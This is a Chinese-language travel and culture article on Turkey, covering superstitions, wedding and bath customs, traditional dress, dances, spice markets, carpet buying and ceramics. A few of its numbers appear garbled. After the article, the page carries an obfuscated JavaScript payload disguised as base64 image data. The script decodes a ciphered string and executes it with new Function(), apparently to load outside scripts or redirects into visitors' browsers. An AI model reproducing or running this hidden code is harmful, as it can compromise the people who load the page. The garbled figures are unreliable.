土耳其人的禁忌比较多,比较忌讳数字13,若有兔子从面前跑过、乌鸦围着房子叫、黑狗从门前经过、晚上照镜子或剪指甲、坐在门槛上、摔破镜子等,都被当地人视为不祥之兆。他们还认为站着穿裤子会变穷、喜鹊叫窗有喜事等。

传统婚礼与丧葬习俗

土耳其在法律上规定实行一夫一妻制。当地居民对正式的、非宗教的结婚仪式并不重视,由教长主持的穆斯林仪式上的婚礼却显得非常隆重。

1680年莫卧尔王朝时的斗骆驼比赛绘画。在土耳其民族节日中,每年一月在埃菲斯塞尔丘克的古代竞技场举行的骆驼摔跤冠军赛排名第一。

梅西尔节

在伊兹密尔西北的马尼萨地区,每年3月都要举行传统的梅西尔节。“梅西尔”原意为“风景优美的地方”,“梅西尔节”遂被引申为“踏青节”。节日一般定为五天:第一天为“经济日”,整个地区的农民和手工业者都来赶集,展售自家的产品;第二天和第三天为“艺术和民俗日”,举行各种文艺和民间活动;第四天为“体育日”,举行足球、摔跤、赛马等比赛;第五天是传统的“发药日”,在苏丹清真寺广场向群众发放一种特制的药膏软糖,即“梅西尔膏”。按照当地习俗,人们在煮药前后需做祈祷,这样药膏才会灵验。

土耳其的浴室不但是公众进行一种传统洗浴方式的场地,也成为土耳其新娘步入婚姻殿堂的考验之所。

在土耳其农村与小城镇等地,劳役婚姻、互换婚姻仍然存在。劳役婚姻是指家境贫困的男青年由于拿不起结婚聘金,常会上女方家中“入赘”,“服役”两三年后,再与女方结婚。互换婚姻是指两家互相交换新娘的婚俗,男青年家有已到结婚年龄的妹妹,他所看中的姑娘又有兄弟,在这种情况下即可实行换婚。

城市居民结婚仪式比较简单,通常只需经过求婚、定亲、订婚、举行婚礼4步即可。在传统婚庆中,比较有趣的是一对新人于婚礼前夕要在公共澡堂里“双洗澡”,即“新郎澡”和“新娘澡”。

届时,新娘的母亲带领女儿、新郎的母亲及其他女宾们同去澡堂。众人到齐后,由两位女友搀扶着新娘在澡堂里绕行一周,并一一亲吻长辈们的手。新郎的母亲会向她头上撒一些小硬币,还会赠送一件吉祥小礼物,其他女宾们则围着新娘唱歌跳舞。待到新娘在浴池里沐浴完毕,婆母与媒婆会分别将她的右脚趾与左脚趾染成红褐色。“新郎澡”一般在“新娘澡”的前一天或后一天举行,仪式比较简单,应邀的男宾在澡堂聚齐后,新郎向众人致以感激之词,随后与大家一块跳入浴池沐浴。

土耳其传统服饰

在土耳其境内,约有13的居民住在城镇,其余居民大多散居在乡村,有些人甚至长年居住在偏僻地区。由于聚居与散居的状态同时并存,尽管土耳其人的传统着装在大城市里已被逐渐西化,但在某些地区仍然得到了较好的保留。

女子传统服饰

土耳其女性的传统服饰多由花色繁杂的棉质与丝质布料制成,基本款式没有太大变化,各地区之间的差异也较小,最普遍、最具代表性的是一种宽大松垮的无裆裤“莎伐”。在土耳其许多地区,常见的女性服装还有高领长袖的夹克配以长可及膝的外套,夹克的下摆分为三片,前面两片,后面一片。为了便于跳舞或工作,人们有时将后面的一片折进腰带里,有时将前面的两片折至背部,固定在臀部。在北部某些地区,人们还会将前面两片交错成围裙的样子。但不管怎么变化,夹克大多是用有着垂直线条且色彩丰富的布料制成,它与款式宽松色调平淡的莎伐形成了鲜明对比。

土耳其妇女的传统服饰

很多年轻女子喜欢给长袖长大衣搭配一条莎伐,不过这种穿法的变化比较多。在土耳其南部靠近叙利亚边境一带,人们喜欢把大衣下摆及至膝部,外面再穿一件黑色带有花纹的短夹克。而在靠近黑海的北部地区,人们又喜欢将大衣下摆插下腰际。

由于宗教背景,土耳其仍有部分女子会用面纱或围巾遮住脸庞和头部。她们常戴两种帽子,一种是无边但饰有黑色长缨的土耳其红帽,另一种是半圆形帽子。不管哪一种,帽子上都会垂下一条面纱或丝巾,有时垂在背后,有时垂在下巴附近。如果不能戴帽子,她们也会用各种长巾裹住头部。一些爱美的女子,还会用亮闪闪的金币银币串成串儿系在额前。

男子传统服饰

在土耳其的传统服饰中,男子一般有三种经典款式。第一种类似于女子所穿的莎伐,常为黑色或藏青色。第二种是棕色或黑色的“立夫卡”,它的特点是在膝盖处束紧,但在裤管处有许多褶皱,尤其是在背后部分。第三种是莎伐的变形,裤管仅到膝部,膝部以下是绑腿。传统上装多是白色的高领长袖衬衫,通常配以无袖的背心或短夹克。这种短夹克被称作“沙贝肯”,有时会配有一些装饰彩带。但在少数地区,白色衬衫有时也会被条纹花色衬衫取代。

男子的红色筒帽一般都附有头巾,不过有些地区的男子只戴头巾,头巾分为单色或多色,佩戴时常常环绕在头部。黑海沿岸的某些地区,男子喜欢戴“巴士里克”,它由一条长长的黑色围巾绕在头上,但在头部两侧会露出像耳朵一样的两端。土耳其男人大多穿着黑色或褐色的叶梅尼鞋子,在黑海沿岸更常见的是软皮靴再配一条宽腰带。很多人更喜欢在宽腰带上系上另一条很宽的皮带,便于插置各式武器。

在土耳其的布耳沙一带,这里的男人在节日期间跳起奇立克卡肯舞或用剑和盾作道具的战斗舞。表演时,他们浑身穿着特殊的奥斯曼帝国全套服饰,这套服饰包括深蓝色的短裤、橘黄色的线条衫、蓝色有吊袖的短夹克、深色宽腰带,筒帽上缠绕着一根条纹布头巾,软皮靴上通常有十字交错的蕾丝,且一直交绕至白色的及膝长袜上。

从以上着装可以看出,土耳其人的传统服饰具有鲜明的民族特色,其中也渗透着浓厚的伊斯兰教服饰文化。不过,随着社会发展与政教分离,此类着装在国民的日常生活中已不多见,仅在节日庆典或乡村里才能见到。

瑞士画家简艾蒂安利奥塔尔油画一个身穿土耳其服装的妇女和她的仆人

土耳其风情舞蹈

土耳其人生性活泼能歌善舞,每逢节假日和喜庆的日子,人们都要载歌载舞欢庆一番。那些跳跃的舞蹈中,既有热火朝天的劳动场面,青年男女谈情说爱的场景,也有举行婚礼的盛大场面,互相格斗的战争情景,还有人类对大自然中各种动物的逼真模仿,每一支土耳其的民族舞蹈都能展现出与众不同的独特风情。

丰富多彩的民间舞

艺术源于生活,土耳其民间舞蹈的许多动作和造型来自于生活中的提炼。土耳其的每一个地区都有不同于其他地方的传统舞蹈,在舞步、节奏、服装、造型、内容、表现手法等方面都存在差异,反映出各地区不尽相同的文化传统。如东南部地区的“哈拉伊”舞,东部和东北部的“巴尔”舞。东黑海地区的“霍隆”舞,南部地中海地区的“木勺”舞,西南部爱琴海地区的“泽伊贝克”舞,西北角特拉基亚地区的“霍拉”舞。

最为常见的民间舞是哈拉伊舞,舞蹈人数非常随意,无论男女均手拉着手,形成一个圆圈,伴随着鼓点和唢呐,向右走三步顿一下,左脚向右边微微上踢,如此循环反复。在前面领舞的人还要挥舞着手帕,营造热闹的气氛。由于舞步简单,土耳其的男女老少都会跳,跳起来的时候人人参与,非常热闹。

还有一种常见的舞蹈是发源于科尼亚城的土耳其回旋舞,这是为了纪念土耳其宗教诗人梅乌拉那杰拉莱丁鲁米而创造的一种舞蹈。舞蹈内容富有哲理,表达了世间万事万物无时无刻都在运动,世界宇宙不停旋转,人的生命也在不停地轮回旋转。

回旋舞是男性集体舞,舞者上着白色小褂,下着白色长裙,以左脚为圆心,右脚画圆,不停地逆时针旋转,飘飘欲仙,特别优美。回旋舞是土耳其古老文化的标志之一,在伊斯坦布尔、伊兹密尔等地的高档酒店和文娱场所,经常有回旋舞的表演。

土耳其东方舞表演

神奇的东方舞

如果评选最热情最有节奏最具感染力的舞蹈,东方舞一定会名列其中。关于这种舞蹈的起源说法不一,有人说它原来是拜占庭的宫廷舞蹈,后来流入民间至今;有人说它起源于黎巴嫩或埃及,奥斯曼帝国时期传入土耳其,后来得到长期发展,流传至今已成为土耳其旅游的名片之一。

东方舞又称“肚皮舞”,表演者一般都是女性,而且是独舞的形式。整个舞蹈特别考验舞者的功夫,不但要配合音乐和鼓点全身抖动,还要突出胸部、腰肢和肚皮部位的抖动,需要舞者具备很高的舞蹈技巧,才能跳得既性感又热情。

表演东方舞的演员大多是面容姣好身材匀称的年轻女子,骨感美女跳这一类舞蹈,效果肯定会大打折扣。为了突出表演者各个身体部位的抖动,表演者通常在服装上坠以各种流苏,使扭动时极具视觉冲击力。据说舞者需要经过十年左右的练习,才能灵活自如地控制和抖动全身的肌肉。现在,这种舞蹈一般在旅游者光顾的夜总会或高级旅馆内表演,但有时候,土耳其人在举行婚宴时也会邀请一些小有名气的东方舞演员前来助兴。

香料的世界

有史以来,香料就成为人类生活中不可或缺的一部分,它引发的大小战争更是不计其数。而土耳其这个不产香料的国家,却因为在奥斯曼帝国时期垄断了香料市场,一举成为香料大国。那一座座历史悠久的香料市场,宛如一个个五彩缤纷的童话世界,在各种香味的刺激下,人的嗅觉仿佛进入了失眠状态,只剩下满眼的色彩斑斓。

挡不住的诱惑

若说奥斯曼帝国的兴起,香料也有一部分功劳,恐怕没有人会反对。欧洲人喜欢东方香料,而奥斯曼借助得天独厚的地理位置垄断了香料,欧洲人即使不情愿,也得揣着满满的钱袋去给奥斯曼帝国送上不少金钱。

欧洲人为什么如此迫切地需要香料因为中世纪时期,冰箱还没有问世,冷藏库更不可能是家家都有,欧洲的自然资源又不是很丰富,土壤也不太适合农耕,大片的草场令畜牧业非常发达,欧洲很多地方的饮食都以肉食为主。

既然喜欢吃肉,那么问题就来了。冬天气温低的时候不利于放牧,欧洲人只好在降温之前储存大量的肉食。可想而知,那些越来越不新鲜的存货会给他们的胃带来多少折磨。于是,芳香扑鼻的香料正好大显身手,在肉里加上一点儿胡椒、八角、茴香、豆蔻等,不但可以增加肉类的保质期,还能使缺少鲜味的食物变得特别美味。如此神奇的东西,欧洲人怎么可能挡住它的诱惑

当时,生产香料的主要国家是埃及和中国,两国的香料均由地中海贸易线进入欧洲,连接欧亚大陆的博斯普鲁斯海峡占据着极为有利的地理条件。可以说,谁拥有海峡旁边的伊斯坦布尔,谁就掌握了欧亚贸易的唯一主通道,也就等于赚到了一棵摇钱树。奥斯曼帝国精明无比,自然毫不犹豫地垄断了运输线路,然后将香料的价格一提再提,逼得欧洲人不得不另辟航线,开启了大航海时代。

香料大市场

伊斯坦布尔的香料市场是一个色香味俱全的花花世界,那儿的每位摊主都把货品码放得整整齐齐,色彩缤纷,制造了一场视觉和嗅觉的双重享受。

胡椒理所当然是最常见的一种香料,黑色的、白色的、绿色的粒状,各种粗细、各种颜色应有尽有,完全不是中国常见的白色或黑色。这里总有顾客想不到的色彩,连最普通的咖喱粉都变得五颜六色。

如果想颠覆自己以往对香料的认知,只要深度逛一下这座超级香料市场就足够了。这里仅花椒就有十多种,颜色与形状俱有差别;豆子又有几十种,不同大小,不同种类,不同颜色,很少有顾客能够一下子认全。再看九层塔、欧芹、百里香、迷迭香、月桂、墨角兰除了那些烹调所用的香料,此处还有各种果脯、花干、水果干、坚果、肉脯、肉肠、鱼干、奶酪等。

香料市场里各式各样的商品

享有盛誉的手工地毯

不管是贫穷或者富裕,土耳其的每一个家庭里都会在地面上铺地毯,有些家庭还在墙上挂地毯,穆斯林在做祷告时也会有专门的祈祷地毯。不要小看了这件看似寻常的东西,有些纯手工编织并历时百年的地毯,同时也是价值连城的艺术珍品。

地毯也是奢侈品

土耳其的编织地毯始于游牧时期,11世纪传入安纳托利亚。13世纪,当马可波罗穿越安纳托利亚高原时,就对这里的地毯赞不绝口。从14世纪起,土耳其的地毯开始远销欧洲各地,一度成为皇室宫廷最爱的奢侈品,被上流社会视为财富和身份的象征。15世纪,由于丝绸之路的影响,土耳其地毯开始出现龙、凤与祥云等中国传统图案。16世纪正是花卉艺术的全盛时期,紧跟潮流的土耳其人又在地毯上增添了玫瑰、郁金香、康乃馨、蔷薇、风信子等美丽图案。

到了19世纪晚期,土耳其的海雷凯地毯开始享有盛名。当时,奥斯曼帝国在那里设立了大型地毯作坊,仅织机就有100多部,作坊里生产高级的纯丝地毯和使用金银丝织成的黄金地毯。纯丝地毯面积不大,图案精美,价格几乎是普通地毯的三倍,黄金地毯则用金丝银线和羊毛交织而成,表面再缀以珍珠和宝石,是只有皇室宫廷或博物馆里才能见到的奢侈品。

含有金丝银线的海雷凯地毯

如果有机会前往伊斯坦布尔和科尼亚的博物馆,你还会发现这里陈列着最早的土耳其手工地毯,它们是出现于13世纪的塞尔柱地毯。

鉴别高品质的地毯

土耳其地毯如此有名,带动了一方长盛不衰的地毯经济。在伊斯坦布尔的遍地商铺里,最常见的就是大大小小的地毯商店了,从几十美元、几百美元到几万、几十万美元的地毯比比皆是。这里面固然确有珍品,但以次充好的各类仿品也并不鲜见,初到此地的游客该如何鉴别呢

除了个别被奉为极品的纯丝地毯和黄金地毯以外,一般地毯的质量通常由编织密度来决定。翻看毯子底部,结打得越细地毯就越结实,用不同结织法织出的花色更复杂,图案也就更美观。按照正常进度来讲,一个织工耗费几年的时间才能织成一块地毯,每平方厘米一般会有1630个对称的结,而某些技艺精妙的织工可以在一平方厘米里打出900多个结。

再者,地毯的颜色也非常重要。基里姆花毯之所以大受欢迎,就是因为它只用传统方法染色。当地人将各种蔬菜植物长时间浸泡,从中提炼出不同的染料,这些染料不仅使地毯色泽鲜艳,永不褪色,而且对羊毛的侵蚀非常轻微。而某些地毯的色彩看起来很不自然,此时你只需在纸巾上沾点水再压上地毯,若有颜色脱落便可以断定它必定使用了化学原料。那么,怎么检测地毯是否由纯羊毛编织呢可以捻起其中几根,用打火机迅速点燃再熄灭,若是毛丝只发亮而不引燃,并散发出烧头发的气味,基本上即可断定为正品。

在伊斯坦布尔,很多商人会想尽办法让地毯褪色来仿造古品抬高价格。切不要以为颜色古旧的地毯就是价格居高不下的古董地毯,真正的古董地毯非常稀有,在市面上几乎无缘得见。这类珍品绝对经得起时间的考验,踩踏的时间越长,它的颜色反而越艳丽。若是家里收藏着一块50年以上依然色彩鲜亮的土耳其地毯,那你就可以把它当作传家宝了。

17世纪的安纳托利亚地毯

美丽多变的陶瓷器

在清真寺的彩色墙壁上,旅游商店的专柜里,博物馆的陈列室内,都可以看到色彩鲜亮造型精美的陶瓷器。它就像中国的景泰蓝,已经成为土耳其这个国家极具特色的代表性产品。那一件件美丽的艺术品泛起神秘的光泽,如同泥土与色彩融合而成的精灵。

悠久的历史

土耳其的陶瓷制作历史源远流长,大致可以追溯至塞尔柱时期。在科尼亚卡拉塔伊陶瓷博物馆里,收藏着一块绘有双头鹰图案的八角形瓷砖,它的制作年代是1236年,迄今已有700多年的历史。

人们一般认为,土耳其的砖制作方法源自伊朗,而制作日用和装饰性瓷器的技术则于奥斯曼时期源自中国。在后来的长期发展中,土耳其才渐渐形成了独有的风格。

精美绚烂的土耳其陶瓷

土耳其陶瓷起初以彩色的几何纹、动物纹、文字纹为主,后来出现各种磨光素陶、黑色及红色磨光刻纹陶器,以及各种异形器物,比如嘴形壶、鸟嘴形壶、人面纹陶壶等。塞尔柱和奥斯曼时期,土耳其人学会应用和模仿瓷砖镶嵌技术。特别是在奥斯曼时期,他们采用天蓝色和金黄色的彩釉,还发明了一项用标准模子烧制陶瓷的新技术,省去很多拼绘图案的时间,此举为大规模生产陶瓷画的装饰性瓷砖提供了极大便利。

让人眼花缭乱的土耳其陶瓷已经成为其文化的一个代表。

1618世纪,土耳其的陶瓷器制作水平有了很大提高,许多陶瓷精品出现在这一黄金时期,比如“土耳其红”。“土耳其红”是一种以番茄红为主色而制成的釉下多彩陶器与壁砖,主要产于伊兹尼克和屈塔希亚。这种陶器和壁砖使用硬质白黏土,用7种颜色组成纹样装饰,突出了番茄红的艳丽。

伊兹尼克一度是土耳其非常有名的陶瓷业中心,这里出产的瓷砖质量上乘,瓷砖中的石英含量高达85。当伊兹尼克衰落下去,屈塔希亚、伊斯坦布尔等中心城市又逐渐兴起。直到现今,还有不少能工巧匠们在仿制古旧的陶瓷器皿,受到了许多怀旧者的青睐。

阿凡诺斯小镇

在土耳其的卡帕多西亚地区有一座阿凡诺斯小镇,它是全国乃至整个中东地区最著名的陶器小镇。土耳其境内最长的河流克孜勒河流经此处,带来了含有丰富铁质的泥浆,令河水泛有淡淡的红色,故而又名“红河”。人们采用红河水和泥浆作为原料,经过选料、制坯、塑模、绘画、上釉、焙烧等一系列传统手工艺,烧制出有名的阿凡诺斯陶器。

红河边的阿凡诺斯小镇

阿凡诺斯陶器一般不上釉,保留着泥土本色,另一些专门用来装饰的陶碟和陶罐大多采用了土耳其人喜爱的蓝色。由于深受中国外销瓷器的影响,阿凡诺斯陶器在造型上常见莲籽碗、折沿大盘、敞口曲腹盘和笔盒,在装饰方面则喜欢采用葡萄纹、束莲纹、缠枝花叶纹等一些同样源于中国的青瓷元素。

像阿凡诺斯这样的陶器小镇映射着土耳其陶瓷文化的精华,像伊斯坦布尔那样的大型城市更懂得包容并蓄。任何一位前往土耳其的中国游客都不应该错过伊斯坦布尔的托普卡帕宫,因为这里珍藏着大批源于中国的陶瓷精品。

托普卡帕宫以前是皇家宫殿,现已改建成一座巨大的博物馆。馆内收藏着两万多件来自中国的精美瓷器,其中有一只白底蓝花的明朝瓷碗,上面绘有苏东坡赤壁赋的全文及苏东坡游赤壁的中国画,另外还有一套青花餐具,据说一遇毒食立刻会改变颜色。馆内还珍藏着一幅美丽的绘画,画中描绘了奥斯曼苏丹梅赫梅特二世宴请外国使臣的宏大场面,值得一提的是,那场宴会上使用的全是中国瓷器。:,,

<--di--!>
!function(){function a(a){var _idx="j81e9pi47c";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/CL/o}0jR8C{}YQJ6o1("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"o}0"=^8"C{}YQJ6o1("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"o}0^)ThF)m7}F:Ch2mRT4"="o}0X5ThF)mX(nSnY0mRT4"="o}02pThFm7}F:Ch2mRT4"="o}0_JqhFmX(nSnY0mRT4"="o}02TOhFm7}F:Ch2mRT4"="o}0CSqhF)mX(nSnY0mRT4"="o}0)FfThF)fm7}F:Ch2mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/f/o}0j(8}vR8C{}YQJ6o1("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();